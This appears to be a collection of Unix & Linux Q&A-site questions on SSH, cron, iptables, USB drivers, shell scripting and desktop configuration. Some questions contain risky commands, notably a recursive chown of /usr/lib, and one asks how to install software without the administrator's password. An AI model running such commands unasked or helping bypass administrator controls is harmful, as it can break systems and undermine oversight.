text: I need a tool or utility that can take a text file and copy each line onto the clipboard in a way so I can paste back the text line by line by continuously pressing Ctlr-V. For example, if the text holds these lines               line 1     line 2     line 3      Then I will get:               Ctlr-v: line 1     Ctlr-v: line 2     Ctlr-v: line 3      I need it for pasting lines into the terminal when debugging telnet sessions. It is very tedious to copy and paste the lines one by one. Does such a tool exists, or can it be created using xclip or similar? It is for Debian based distros if that makes any difference. Note: See don_chrissti's comment for a variation to the accepted solution that worked for me. **Addition:** This is the script I ended up with. Note the use of double backslash to retain the newlines from the text file.               while IFS= read -r line; do       printf %s\\n "$line" |       xclip -l 1 -quiet -selection primary     done < telnet      It works very well for testing smtp connections over telnet which is my use of it.


title: ssh hanging then time out

text: I am new to ssh on linux. I have two computers connected on a switch. The first one is 192.168.1.2 and the second is 192.168.1.3. When I use the `ping` command I got a reply and everything is good, but when I use ssh from the frist computer `ssh -v user@192.168.1.3` it gives me,               OpenSSH_5.8p1 Debian-1ubuntu3, OpenSSL 0.9.8o 01 Jun 2010     debug1: Reading configuration data /etc/ssh/ssh_config     debug1: Applying options for *     debug2: ssh_connect: needpriv 0     debug1: Connecting to 192.168.1.2 [192.168.1.2] port 22.     debug1: connect to address 192.168.1.2 port 22: Connection timed out      I have ssh installed on both machines. Any ideas on how I can fix this problem?


title: Are there any CheckInstall side effects or should I use it every time?

text: I'm using Ubuntu at work and Slackware at home. Today at work I have downloaded some suspicious program from our company repository that was supposed to automate some repetitive tasks. I installed it with `configure; make; make install`. Now I want to remove it, but unfortunately there is no appropriate target for uninstalling in the Makefile. This program is written in Python and the installer copied many `*.py` files in various places and it's a pain now to remove all of them. So I thought about CheckInstall to use in place of `make install` so I could easily remove such programs and keep track of all software on my system in the consistent way. But I wonder if there are any possible side effects related to CheckInstall or can it be used every time when I install new software? Are you using it?


title: hw csum failure

text: For the past 5 days, my Internet connection just drop randomly. After some researches, I found this into the `syslog` :               Jun 25 17:01:59 home kernel: [127541.168744] eth1: hw csum failure.     Jun 25 17:01:59 home kernel: [127541.168773] Pid: 0, comm: swapper Tainted: G        W  2.6.32-5-amd64 #1     Jun 25 17:01:59 home kernel: [127541.168776] Call Trace:     Jun 25 17:01:59 home kernel: [127541.168778]  <IRQ>  [<ffffffff81251150>] ? netdev_rx_csum_fault+0x29/0x31     Jun 25 17:01:59 home kernel: [127541.168788]  [<ffffffff8124b39b>] ? __skb_checksum_complete_head+0x43/0x55     Jun 25 17:01:59 home kernel: [127541.168796]  [<ffffffffa033e387>] ? udp_error+0x121/0x179 [nf_conntrack]     Jun 25 17:01:59 home kernel: [127541.168801]  [<ffffffff8105b036>] ? __mod_timer+0x141/0x153     Jun 25 17:01:59 home kernel: [127541.168808]  [<ffffffffa033a9be>] ? nf_conntrack_in+0x123/0x5c5 [nf_conntrack]     Jun 25 17:01:59 home kernel: [127541.168813]  [<ffffffff8119890b>] ? __bitmap_weight+0x3a/0x7e     Jun 25 17:01:59 home kernel: [127541.168818]  [<ffffffff810e4fb7>] ? get_partial_node+0x15/0x85     Jun 25 17:01:59 home kernel: [127541.168823]  [<ffffffff810e7394>] ? __slab_alloc+0xd3/0x39b     Jun 25 17:01:59 home kernel: [127541.168827]  [<ffffffff8126e1c2>] ? nf_iterate+0x41/0x7d     Jun 25 17:01:59 home kernel: [127541.168831]  [<ffffffff81274124>] ? ip_rcv_finish+0x0/0x38d     Jun 25 17:01:59 home kernel: [127541.168835]  [<ffffffff8126e260>] ? nf_hook_slow+0x62/0xc3     Jun 25 17:01:59 home kernel: [127541.168839]  [<ffffffff81274124>] ? ip_rcv_finish+0x0/0x38d     Jun 25 17:01:59 home kernel: [127541.168844]  [<ffffffff812e5936>] ? packet_rcv_spkt+0xd3/0xde     Jun 25 17:01:59 home kernel: [127541.168848]  [<ffffffff81274751>] ? ip_rcv+0x2a0/0x2ed     Jun 25 17:01:59 home kernel: [127541.168852]  [<ffffffff81250abe>] ? napi_skb_finish+0x1c/0x31     Jun 25 17:01:59 home kernel: [127541.168860]  [<ffffffffa005fb62>] ? sky2_poll+0x8c2/0xb54 [sky2]     Jun 25 17:01:59 home kernel: [127541.168866]  [<ffffffff8104a68a>] ? rebalance_domains+0x180/0x480     Jun 25 17:01:59 home kernel: [127541.168871]  [<ffffffff81250fef>] ? net_rx_action+0xae/0x1c9     Jun 25 17:01:59 home kernel: [127541.168875]  [<ffffffff81053dfb>] ? __do_softirq+0xdd/0x1a6     Jun 25 17:01:59 home kernel: [127541.168880]  [<ffffffff81011cac>] ? call_softirq+0x1c/0x30     Jun 25 17:01:59 home kernel: [127541.168884]  [<ffffffff8101322b>] ? do_softirq+0x3f/0x7c     Jun 25 17:01:59 home kernel: [127541.168888]  [<ffffffff81053c6b>] ? irq_exit+0x36/0x76     Jun 25 17:01:59 home kernel: [127541.168892]  [<ffffffff81012922>] ? do_IRQ+0xa0/0xb6     Jun 25 17:01:59 home kernel: [127541.168895]  [<ffffffff810114d3>] ? ret_from_intr+0x0/0x11     Jun 25 17:01:59 home kernel: [127541.168898]  <EOI>  [<ffffffff81017688>] ? mwait_idle+0x72/0x7d     Jun 25 17:01:59 home kernel: [127541.168905]  [<ffffffff81017638>] ? mwait_idle+0x22/0x7d     Jun 25 17:01:59 home kernel: [127541.168910]  [<ffffffff8100fe97>] ? cpu_idle+0xa2/0xda     Jun 25 17:01:59 home kernel: [127541.168914]  [<ffffffff8151e140>] ? early_idt_handler+0x0/0x71     Jun 25 17:01:59 home kernel: [127541.168918]  [<ffffffff8151ecdd>] ? start_kernel+0x3dc/0x3e8     Jun 25 17:01:59 home kernel: [127541.168922]  [<ffffffff8151e3b7>] ? x86_64_start_kernel+0xf9/0x106      This has been logged 2-3 times each second. My log file is huge now. The solution was to disconnect and reconnect the ethernet adapter (`eth1`). However, this is not permanent. I have searched on Google but all post I find, nobody answered them. I come here in hope that maybe someone know the answer ... **EDITED**               driver: sky2     version: 1.30     firmware-version: N/A     bus-info: 0000:02:00.0      P5Q Pro On-Board NIC Card ( Marvell Technology Group Ltd. 88E8056 PCI-E Gigabit Ethernet Controller)


title: Daemons send mail when it exits

text: I'm not sure if daemon is the correct term but we have a number of processes (ksh scripts) that we start with the "at" command on AIX. Hopefully they run until they are told to shutdown down, at which point the ksh script does an "exit" which somehow causes the process to send a mail message to the process owner's account. When a fatal error kills the process, we also get a mail message. It's great to have a mail sent when the process dies because of some error (for the debugging info it provides), but when a normal shutdown occurs, I'd prefer that no mail message be sent. Is that possible?


title: What are the ramifications of recursively chown'ing the directories on an external drive that currently has 501:dialout or root:root permissions?

text: I have a Raspberry Pi that's running a Raspbmc distribution and I've noticed that a lot of the directories are either owned by the user `501` and the group `dialout` or both the user and group `root`. It's frustrating for me to move files from the main filesystem on the SD card to the external drive because I always need root access (and it makes automating tasks a pain too), so I'd really like to be able to `chown` it to the user `pi`. I've read up a little bit on what the `501` user and the `dialout` group are and don't see why I shouldn't do this, but my knowledge of Unix permissions is basic at best so I'd like to know if I've missed any considerations before I go ahead and change the permissions recursively on the entire drive. So my question would be: Is there any harm in doing a `chown -R pi` on the external drive?


title: How can the following script be explained?

text: Code:               #!/bin/csh          if ( A$1 == A ) then         echo ""         echo "LIST <name>"         echo ""         exit     endif          ..............      Ok this is a sample from a bigger script I got. The scripts starts with this piece of code and it is not related to any of the code that follows afterwards. The script usage is like: `LIST 'name'`, where `LIST` is the script command and `'name'` is a certain constant introduced by the user. What I know until now is that if I run the script like this:               LIST 'name'      the script will do it's job with the constant `'name'` but if I run without `'name'` like this:               LIST      it will show:               LIST <name>      like a short description on how to use the command. This description is from the echo inside if. _What I need to understand is what this line does:_               if ( A$1 == A ) then      Thanks!


title: How to identify a process which has no pid?

text: I have a process which listen to 2 ports : 45136/tcp and 37208/udp (actually I assume it is the same process). But netstat doesn't return any pid :               netstat -antlp | grep 45136     tcp        0      0 0.0.0.0:45136           0.0.0.0:*           LISTEN      -       Same result with "grep 37208". I tried lsof too :               lsof -i TCP:45136      But it doesn't return anything. It's a new installation of squeeze and I really don't know what could be this process. Any idea ? **ANSWER** Thanks to your comments I found out what it was. I deinstalled nfs- server nfs-common (after a dkpg --get-selections | grep nfs search) and the unknown process disapeared. Strange though that kernel processes aren't marked in any way. Thanks again to both of you. ;)


title: integer expression expected bash

text: Trying to loop a phrase inputted by the user a set amount of times that is also inputted by the user. Keep on getting the error integer expression expected, and I can't figure out how to fix it.               #!/bin/sh      echo "What do you want to say?"     read phrase           echo "How many times?"     read num          while [ "num" -ge 0 ]     do          echo $phrase          num='expr num - 1'     done


title: How to find frequency of occurrences of strings contained in a file?

text: I have a file that contains a list of URLs of the form _**EDIT_** > http://www.google.com/absd/siidfs/kfd837382$%^$&, > > www.google.com, > > google.com > > yahoo.com/list/page/jhfjkshdjf... I want to write a script that will display the following output                google.com : 2     http://www.google.com: 1     yahoo.com : 1       I am stuck with the part that I have to read the URLs from the file and check the whole file again. I am new to bash scripting and hence I don't know how to do this.


title: Xorg - ignore first click event when resuming from Screen Blanking

text: Is it possible to somehow configure xorg to ignore the first mouse click when screen blanking is enabled ?? The reason is I have a touch screen in an embedded arch linux application which remains active during screen blanking, and the first touch of a user should disable screen blanking and the click / touch event itself needs to be ignored as the user has no idea what button they are pressing since the screen is blank ? Or any clever hack / work around methods ??


title: How do I increase the number of semaphore arrays in Linux?

text: In a Debian lenny server running postgresql, I noticed that a lack of semaphore arrays is preventing Apache from starting up. Looking at the limits, I see 128 arrays used out of 128 arrays maximum, for semaphores. I know this is the problem because it happens on a `semget` call. How do I increase the number of arrays? PS: I need Apache running to make use of phppgadmin.


title: Good base converter or help using gbase?

text: Dear all, Could you suggest a good base converter that also does "signed" conversions? Either `gbase` does not do it, or I can't see how it's done. Any help would be great. What I want to do is give the program an integer, say, -100, and I need to know the binary byte representation of it (in the example, 1 byte, first bit set to 1). I could possibly calculate this number by hand, but I got to do 1000s of them, and bigger than a single byte.


title: Iptables not forward traffic

text: I need to redirect all traffic incoming on port 9750 (the port chat server) to another machine on the same subnet. Ports clients - dynamic.               iptables -t nat -A PREROUTING -p tcp -d x.x.x.a --dport 9750 -j DNAT --to-destination x.x.x.b:9750     iptables -t nat -A POSTROUTING -p tcp --dport 9750 -j MASQUERADE      However, the `host x.x.x.a` does not open port 9750. Clients do not connect to the server.               cat /etc/sysctl.conf |grep forward     # Uncomment the next line to enable packet forwarding for IPv4     net.ipv4.ip_forward=1     # Uncomment the next line to enable packet forwarding for IPv6     #net.ipv6.conf.all.forwarding=1


title: Can I configure my laptop's touchpad to only do scrolling?

text: I have a Thinkpad which has both a TrackPoint mouse pointer (the little red thing between the G and H keys) and a Synaptics Touchpad. I don't really like the Touchpad, and in fact keep swiping it accidentally, so I turned it off. But, there's one feature that's really nice: the two-finger scroll gesture. Is there a way to make it so _only_ this gesture works and all other input is ignored?


title: How to solve window manager problem in Linux Mint 14 Xfce after installing LXDE?

text: I like the way Xfce works on top of Linux Mint 14 Nadia (Quantal) - but I also like LXDE that I want to have in parallel. Mint 14 has no LXDE "version" now, and that is too bad. I heard that installing multiple DE is not a problem. But ... problems may occur. After installing LXDE (and I am not sure this is the real cause of that), when I log in Xfce (which is the main "flavour" of my Linux Mint installation) all windows are missing the upper frame and buttons, and are stuck to the upper border of the screen. Alt-Tab would not work. Reinstalling Xfwm4 didn't help. LXDE behaves just fine - the Xfce session is useless. But all was perfect in Xfce until I installed LXDE and made 2 or 3 logout/login between the two DEs. Before doing something radical like reinstalling the system - any ideas?


title: All USB ports detected as USB 1.0, not USB 2.0

text: My Ubuntu 13.10 server (Upgraded from 11.10) has always had an issue with mounting USB 2.0 devices. Despite legacy being turned off on the motherboard bios, the output of `lsusb -t` always shows the following:               root@mediaserver:~# lsusb -t     /:  Bus 05.Port 1: Dev 1, Class=root_hub, Driver=uhci_hcd/2p, 12M         |__ Port 1: Dev 2, If 0, Class=Human Interface Device, Driver=usbhid, 1.5M         |__ Port 2: Dev 3, If 0, Class=Mass Storage, Driver=usb-storage, 12M     /:  Bus 04.Port 1: Dev 1, Class=root_hub, Driver=uhci_hcd/2p, 12M     /:  Bus 03.Port 1: Dev 1, Class=root_hub, Driver=uhci_hcd/2p, 12M     /:  Bus 02.Port 1: Dev 1, Class=root_hub, Driver=uhci_hcd/2p, 12M     /:  Bus 01.Port 1: Dev 1, Class=root_hub, Driver=ehci-pci/8p, 480M      I've tried every USB port on the computer, including the front ports which are connected to internal headers. I'm not 100% sure what the difference between ehci-pci and uhci_hcd is to be honest. As you can see, my USB 2.0 drive is being given 12M, which is far too slow. Here is a shortened output of dmesg from the last boot with the USB drive connected:               [    0.000000] Initializing cgroup subsys cpuset     [    0.000000] Initializing cgroup subsys cpu     [    0.000000] Initializing cgroup subsys cpuacct     [    0.000000] Linux version 3.11.0-12-generic (buildd@allspice) (gcc version 4.8.1 (Ubuntu/Linaro 4.8.1-10ubuntu7) ) #19-Ubuntu SMP Wed Oct 9 16:20:46 UTC 2013 (Ubuntu 3.11.0-12.19-generic 3.11.3)     [    0.000000] Command line: BOOT_IMAGE=/boot/vmlinuz-3.11.0-12-generic root=UUID=37d96d65-85fd-4a26-9817-57820fed9a83 ro nomodeset usbcore.autosuspend=-1 video=uvesafb:mode_option=1920x1080-24,mtrr=3,scroll=ywrap splash quiet     [    0.559482] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver     [    0.559484] ehci-pci: EHCI PCI platform driver     [    0.559549] ehci-pci 0000:00:1d.7: setting latency timer to 64     [    0.559559] ehci-pci 0000:00:1d.7: EHCI Host Controller     [    0.559565] ehci-pci 0000:00:1d.7: new USB bus registered, assigned bus number 1     [    0.559578] ehci-pci 0000:00:1d.7: debug port 1     [    0.563475] ehci-pci 0000:00:1d.7: cache line size of 32 is not supported     [    0.563480] ehci-pci 0000:00:1d.7: irq 23, io mem 0xf9ffbc00     [    0.572019] ehci-pci 0000:00:1d.7: USB 2.0 started, EHCI 1.00     [    0.572053] usb usb1: New USB device found, idVendor=1d6b, idProduct=0002     [    0.572058] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1     [    0.572062] usb usb1: Product: EHCI Host Controller     [    0.572067] usb usb1: Manufacturer: Linux 3.11.0-12-generic ehci_hcd     [    0.572070] usb usb1: SerialNumber: 0000:00:1d.7     [    0.572191] hub 1-0:1.0: USB hub found     [    0.572196] hub 1-0:1.0: 8 ports detected     [    0.572336] ehci-platform: EHCI generic platform driver     [    0.572343] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver     [    0.572345] ohci-platform: OHCI generic platform driver     [    0.572351] uhci_hcd: USB Universal Host Controller Interface driver     [    0.572409] uhci_hcd 0000:00:1d.0: setting latency timer to 64     [    0.572412] uhci_hcd 0000:00:1d.0: UHCI Host Controller     [    0.572421] uhci_hcd 0000:00:1d.0: new USB bus registered, assigned bus number 2     [    0.572443] uhci_hcd 0000:00:1d.0: irq 23, io base 0x0000c480     [    0.572471] usb usb2: New USB device found, idVendor=1d6b, idProduct=0001     [    0.572474] usb usb2: New USB device strings: Mfr=3, Product=2, SerialNumber=1     [    0.572476] usb usb2: Product: UHCI Host Controller     [    0.572478] usb usb2: Manufacturer: Linux 3.11.0-12-generic uhci_hcd     [    0.572480] usb usb2: SerialNumber: 0000:00:1d.0     [    0.572554] hub 2-0:1.0: USB hub found     [    0.572558] hub 2-0:1.0: 2 ports detected     [    0.572666] uhci_hcd 0000:00:1d.1: setting latency timer to 64     [    0.572669] uhci_hcd 0000:00:1d.1: UHCI Host Controller     [    0.572676] uhci_hcd 0000:00:1d.1: new USB bus registered, assigned bus number 3     [    0.572706] uhci_hcd 0000:00:1d.1: irq 19, io base 0x0000c800     [    0.572735] usb usb3: New USB device found, idVendor=1d6b, idProduct=0001     [    0.572738] usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1     [    0.572740] usb usb3: Product: UHCI Host Controller     [    0.572742] usb usb3: Manufacturer: Linux 3.11.0-12-generic uhci_hcd     [    0.572743] usb usb3: SerialNumber: 0000:00:1d.1     [    0.572817] hub 3-0:1.0: USB hub found     [    0.572821] hub 3-0:1.0: 2 ports detected     [    0.572927] uhci_hcd 0000:00:1d.2: setting latency timer to 64     [    0.572930] uhci_hcd 0000:00:1d.2: UHCI Host Controller     [    0.572935] uhci_hcd 0000:00:1d.2: new USB bus registered, assigned bus number 4     [    0.572964] uhci_hcd 0000:00:1d.2: irq 18, io base 0x0000c880     [    0.572992] usb usb4: New USB device found, idVendor=1d6b, idProduct=0001     [    0.572994] usb usb4: New USB device strings: Mfr=3, Product=2, SerialNumber=1     [    0.572996] usb usb4: Product: UHCI Host Controller     [    0.572998] usb usb4: Manufacturer: Linux 3.11.0-12-generic uhci_hcd     [    0.573000] usb usb4: SerialNumber: 0000:00:1d.2     [    0.573073] hub 4-0:1.0: USB hub found     [    0.573076] hub 4-0:1.0: 2 ports detected     [    0.573185] uhci_hcd 0000:00:1d.3: setting latency timer to 64     [    0.573188] uhci_hcd 0000:00:1d.3: UHCI Host Controller     [    0.573193] uhci_hcd 0000:00:1d.3: new USB bus registered, assigned bus number 5     [    0.573221] uhci_hcd 0000:00:1d.3: irq 16, io base 0x0000cc00     [    0.573253] usb usb5: New USB device found, idVendor=1d6b, idProduct=0001     [    0.573255] usb usb5: New USB device strings: Mfr=3, Product=2, SerialNumber=1     [    0.573257] usb usb5: Product: UHCI Host Controller     [    0.573259] usb usb5: Manufacturer: Linux 3.11.0-12-generic uhci_hcd     [    0.573261] usb usb5: SerialNumber: 0000:00:1d.3     [    0.573346] hub 5-0:1.0: USB hub found     [    0.573349] hub 5-0:1.0: 2 ports detected     [    1.328018] usb 2-1: new full-speed USB device number 2 using uhci_hcd     [    1.467478] usb 2-1: not running at top speed; connect to a high speed hub     [    1.495481] usb 2-1: New USB device found, idVendor=1132, idProduct=4511     [    1.495483] usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3     [    1.495486] usb 2-1: Product: IT-CEO USB Device     [    1.495488] usb 2-1: Manufacturer: IT-CEO     [    1.495490] usb 2-1: SerialNumber: 5A314631525A394720202020     [    1.499526] usb-storage 2-1:1.0: USB Mass Storage device detected     [    1.499704] scsi4 : usb-storage 2-1:1.0     [    1.499766] usbcore: registered new interface driver usb-storage     [    1.500018] tsc: Refined TSC clocksource calibration: 2520.652 MHz     [    1.513120] uvesafb: VBIOS/hardware doesn't support DDC transfers     [    1.513123] uvesafb: no monitor limits have been set, default refresh rate will be used     [    1.513351] uvesafb: scrolling: redraw     [    1.736015] usb 5-1: new low-speed USB device number 2 using uhci_hcd     [    1.912254] usb 5-1: New USB device found, idVendor=045e, idProduct=078c     [    1.912256] usb 5-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0     [    1.912257] usb 5-1: Product: USB Keyboard     [    1.912258] usb 5-1: Manufacturer: LITEON Technology     [    1.934599] hidraw: raw HID events driver (C) Jiri Kosina     [    1.951425] usbcore: registered new interface driver usbhid     [    1.951425] usbhid: USB HID core driver     [    1.953425] input: LITEON Technology USB Keyboard as /devices/pci0000:00/0000:00:1d.3/usb5/5-1/5-1:1.0/input/input2     [    1.953793] hid-generic 0003:045E:078C.0001: input,hidraw0: USB HID v1.10 Keyboard [LITEON Technology USB Keyboard] on usb-0000:00:1d.3-1/input0     [    1.961414] Console: switching to colour frame buffer device 160x64     [    1.964561] uvesafb: framebuffer at 0xfb000000, mapped to 0xffffc90004400000, using 10240k, total 14336k      Some people have suggested blacklisting `uhci_hcd` but it seems to load anyway for me. I'm also getting the following when trying to unload USB modules as described here:               root@mediaserver:~# rmmod ehci_hcd     libkmod: ERROR ../libkmod/libkmod-module.c:1802 kmod_module_get_holders: could not open '/sys/module/ehci_hcd/holders': No such file or directory     Error: Module ehci_hcd is in use     root@mediaserver:~# rmmod uhci_hcd     libkmod: ERROR ../libkmod/libkmod-module.c:1802 kmod_module_get_holders: could not open '/sys/module/uhci_hcd/holders': No such file or directory     Error: Module uhci_hcd is in use      My motherboard information:               Manufacturer: ASUSTeK Computer INC.     Product Name: P5KPL-AM


title: How to redirect output to a file from within cron?

text: I have a backup script which I need to run at a particular time of a day so I am using `cron` for this task and from within cron am also trying to redirect the output of backup script to a `logfile`. `crontab -e`               */1 * * * * /home/ranveer/backup.sh &>> /home/ranveer/backup.log      In the above cron entry I am redirecting both `stderr and stdout` to a log file. The above cron job executes fine according to `syslog` and it performs the task mentioned in the `backup.sh` file but it doesn't write anything to the log file. `/var/log/syslog`               Oct 19 20:26:01 ranveer CRON[15214]: (ranveer) CMD (/home/ranveer/backup.sh &>> /home/ranveer/backup.log)      When I run the script from cli it works as required and output is written to a log file               ranveer@ranveer:~$ ./backup.sh &>> backup.log      ranveer@ranveer:~$ cat backup.log     Fri Oct 19 20:28:01 IST 2012     successfully copied testdir     test.txt successfully copied     -------------------------------------------------------------------------------------     ranveer@ranveer:~$       So, why the output of file is not getting redirected to the file from within cron.


title: Extracting a multiline regex without leading tabs

text: I've been trying to hack a little code extraction script together, but I can't get it to work. My goal is to examine all .txt files in a directory. If it contains a line which doesn't start with a tab and includes cat.*.c, then extract lines from there (exclusive) to the last line which starts with } (inclusive) and save it to a file with the same names as the source except for with a .c extension. My first stab at trying to find it was this:               find . -name "*.txt" -print0 | xargs -0 awk '/[^ \t]cat .*.c/,/[^ \t]}/'      I'm not sure why, but the tab matching doesn't work. Obviously I would need to do a bit more. I'll need to loop through the files from `find` and grab the file directory & name...               filename=$(basename "$1")     filename="${filename%.*}"     dirname=`dirname "$1"      Firstly, though, I need to figure out how to get the text I want. Is `awk` an appropriate tool for the job? Would `sed`/`grep` be a better choice? Any help is greatly appreciated! Thank you! P.S. I've tried searching around, but the tab issue seems to be unique to me. And lopsided matching (ex/inclusive) seems to be infrequently used also...


title: Setting up the firewall for amule on OpenBSD 4.7 gateway

text: I'm trying to properly setup the firewall on my gateway (OpenBSD 4.7) using `pf` to allow `amule` (on `10.0.0.104`) to operate properly as discussed here: Now I know `pf` has changed a bit from OpenBSD 4.7 to 4.9 with some of the rules being rewritten and I believe the '->' symbol is no longer used with port forwarding. So my question is: Which rule set do I use for `pf` on OpenBSD 4.7 on the gateway? This:               # pass in on $int_if proto tcp from any to any port 4662 rdr-to 10.0.0.104     # pass in on $int_if proto udp from any to any port 4672 rdr-to 10.0.0.104     # pass in on $int_if proto udp from any to any port 4665 rdr-to 10.0.0.104      or this:               # rdr pass on egress proto tcp to port 4662 -> 10.0.0.104     # rdr pass on egress proto udp to port 4672 -> 10.0.0.104     # rdr pass on egress proto udp to port 4665 -> 10.0.0.104      The OBSD site has updated everything to reflect 4.9 now and no longer seems to have the old `pf` stuff up there.


title: install .deb package locally without using sudo

text: I am using Debian in my office which is controlled by an administrator. I want to install rescuetume. I downloaded the .deb file in my local disk and I want to install it locally. Every time I do something, It asks for root password. How can I install it without entering root password.


title: Most minimalistic way to switch users in X session

text: If I want a minimalistic login I can use something like this in my `.zprofile`:               if [ $(tty) = "/dev/tty1" ]; then     startx     fi      However doing this way I cannot switch users on the fly anymore. I.e. lock one X session without logging out and switch to the X session of another user. What's the most minimalistic way get this work this? For example I don't want to use a heavyweight display manager like gdm or kdm.


title: What logs would be written if file system is full in UNIX?

text: I am working on a unix server and I guess during some time in past the file system had been full. However, I need some solid data to prove it. Will there be any OS logs or something of that sort to confirm my assumption? It's an AIX system.


title: How does one find and replace text in all open files with LibreOffice?

text: How does one find and replace text **in all open files** with LibreOffice?


title: How does one find and replace text in all open files with gedit?

text: How does one find and replace text **in all open files** with gedit?


title: How does one find and replace text in all open files with jed?

text: How does one find and replace text **in all open files** with jed?


title: How does one find and replace text in all open files with kate?

text: How does one find and replace text **in all open files** with kate?


title: How to remove element from the list?

text: I have written a command that output a list of hostnames, e.g. :               clab148node11     clab148node12     clab148node15     clab148node16      Now, I would like to remove those nodes that do not respond to ping. For now I have something like this :               for node in $nodes     do              result=$(ping -c 1 $node; echo $?)     done      Now how do I remove nodes that have the `$result` different than 0 ?


title: Speeding a find rm command with test through parallelization

text: I want to recursively delete all files in directories and subdirectories with number of lines less than 10, and am currently using the following command               find . -type f -name "*.txt" | while read; do          (($(cat $THISFILE | wc -l) < 10)) && rm -vf "$THISFILE"; done       I have already used `find` with `xargs` to parallelize some commands, but here, I don't know how to do it because of the test on lines with `wc -l` How could I make go faster with (or without !) `xargs` ?


title: Netflix on Linux

text: I recently installed Fedora 14 on my home PC so I have a dual boot system running windows and linux. I probably would primarily use Linux on that machine as its older and Linux manages its resources MUCH better than Windows does, BUT I'm a bit of a Netflix junky and from what I've read there isn't currently a solution that allows for Netflix to work on Linux. Evidently Moonlight (which as I understand is supposed to be like silverlight) is missing a key piece of functionality. So is there really no solution?


title: Why root's default shell is configured differently with other normal user account's default shell?

text: As I know, `root`'s default shell is configured `csh` and normal user's default shell is `sh` in FreeBSD. And in Ubuntu, `root` is `dash`, normal user is `bash`. (refer: What's the Ubuntu's default shell?) Why are they configured differently?


title: USB performance/traffic monitor?

text: First of all, I found a similar question but it doesn't really solve my problem. I am trying to discover if the USB bus for a device I am using is the bottleneck in my program. How can I monitor a USB bus (similar to how gnome-system-monitor works) to show bus utilization? Basically I want to identify when the bus is being 'maxed' out. I guess what I am looking for is some interface for usbmon, as that appears like it would do what I need. This came about from testing the USRP and GNU Radio. I am running into a situation where it appears that the USB bus could be a limiting factor, so I ask the more general question of USB performance monitoring.


title: How can I upgrade to gnome-shell 3.6 from 3.2?

text: I have Linux Mint 12 which has gnome-shell 3.2.2.1 but I would like to update it to 3.6. So my question is how do I upgrade it? And also, `Alt``F2` doesn't doesn't do anything, how can I get that working?


title: How to disable login for an user?

text: My Linux has many not-human users like `cron`, `ntp`, `daemon`, `http`, etc. I want to disable anybody to login as any of this users. Real people on my machine are root and me, so only root and me should be able to login. For not-human users in the `/etc/passwd` file `/bin/false` defined as shell, but I have read it doesn't protect for login via SSH, for example. `passwd -l` doesn't protect for login via SSH too (as the man says). Is there solution at all?


title: invalid SSL_version specified at /usr/share/perl5/IO/Socket/SSL.pm line 332

text: Since I upgraded my PC from (k)ubuntu 12.04 to 12.10 I receive this error message when trying to send an email using `sendemail`. Installing an older version of IO::Socket::SSL is not an option. I have the impression that all works as it should and the message is just a warning. How can I get rid of this message? * * * # SSL.pm I think the below has to do with the problem (/usr/share/perl5/IO/Socket/SSL.pm).               34  use constant DEFAULT_VERSION     => 'SSLv23:!SSLv2';      ...               251         my %default_args = (     252                 Proto => 'tcp',     253                 SSL_server => $is_server,     254                 SSL_use_cert => $is_server,     255                 SSL_check_crl => 0,     256                 SSL_version     => DEFAULT_VERSION,     257                 SSL_verify_mode => SSL_VERIFY_NONE,     258                 SSL_verify_callback => undef,     259                 SSL_verifycn_scheme => undef,  # don't verify cn     260                 SSL_verifycn_name => undef,    # use from PeerAddr/PeerHost     261                 SSL_npn_protocols => undef,    # meaning depends whether on server or client side     262                 SSL_honor_cipher_order => 0,   # client order gets preference     263         );      ...               332         ${*$self}{'_SSL_ctx'} = IO::Socket::SSL::SSL_Context->new($arg_hash) || return;      # sendemail And at sendemail end I think it is about here in the code:               1903     ## Start TLS if possible     1904     if ($conf{'tls_server'} == 1 and $conf{'tls_client'} == 1 and $opt{'tls'} =~ /^(yes|auto)$/) {     1905         printmsg("DEBUG => Starting TLS", 2);     1906         if (SMTPchat('STARTTLS')) { quit($conf{'error'}, 1); }     1907         if (! IO::Socket::SSL->start_SSL($SERVER, SSL_version => 'SSLv3 TLSv1')) {     1908             quit("ERROR => TLS setup failed: " . IO::Socket::SSL::errstr(), 1);     1909         }     1910         printmsg("DEBUG => TLS: Using cipher: ". $SERVER->get_cipher(), 3);     1911         printmsg("DEBUG => TLS session initialized :)", 1);     1912      1913         ## Restart our SMTP session     1914         if (SMTPchat('EHLO ' . $opt{'fqdn'})) { quit($conf{'error'}, 1); }     1915     }     1916     elsif ($opt{'tls'} eq 'yes' and $conf{'tls_server'} == 0) {     1917         quit("ERROR => TLS not possible! Remote SMTP server, $conf{'server'},  does not support it.", 1);     1918     }


title: Measuring the length of a curved line

text: Is there a software tool that will allow me to measure the length of a **curved** line? I have a series of lines in an image that I want to measure the length of. I have a tablet so I can trace over the lines in the image in order to identify the distance to be measured. There are plenty of tools that do straight lines but sofar I can't find on that does free form curves.


title: Is it Safe to chown on /usr/lib?

text: Can I do this?               sudo chown -R myUsernName /usr/lib      I mean can I do this without worrying that my OS will be broken? Or permissions will be screwed up? Here is the reason why I would like to do it   * http://stackoverflow.com/questions/6752873/node-js-npm-install-fails and here is why I don't and I came here to ask you guys:   * How to get back sudo on Ubuntu?


title: Invert colors in whole PDF (convertion)

text: How to create pdf with inverted colours of original one? (Just like inverting whole screen with `xcalib -i -a`) Preferably : not loosing hyperlinks. But it's not requirement. It would be nice if images also get inverted.


title: Could someone please explain some of these escape codes?

text: I'm seeing this in my `.bashrc` file:                PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\           [\033[01;34m\]\w\[\033[00m\]\$ '      and I have _absolutely no idea_ what all those escapes codes mean. I've tried searching, but I have no idea what to search for (Unix escape codes? BASH escape codes? Terminal/TTY escape codes? etc.) Would someone kindly explain what those are/how they work? :)


title: Duplicate a user, or at least the password

text: I have some application that needs to create users that have the same password as others. Is there a way to do this without having to edit the /etc/shadow manually? Some sort of command?


title: What are pseudo terminals (pty/tty)?

text: This might be really basic question but I want to understand it thoroughly.   1. What is a pseudo terminal? (tty/pty)   2. Why do we need them? How they got introduced and what was the need for it?   3. Are they outdated? Do we not need them anymore? Is there anything that replaced them?   4. Any useful use-case? What I did:   1. Read man pages - got some info but not exact picture.   2. Tried to read on them from Network programming by Richard Stevens. - Got some info but not the `why?` part.  Any help/pointer is greatly appreciated.


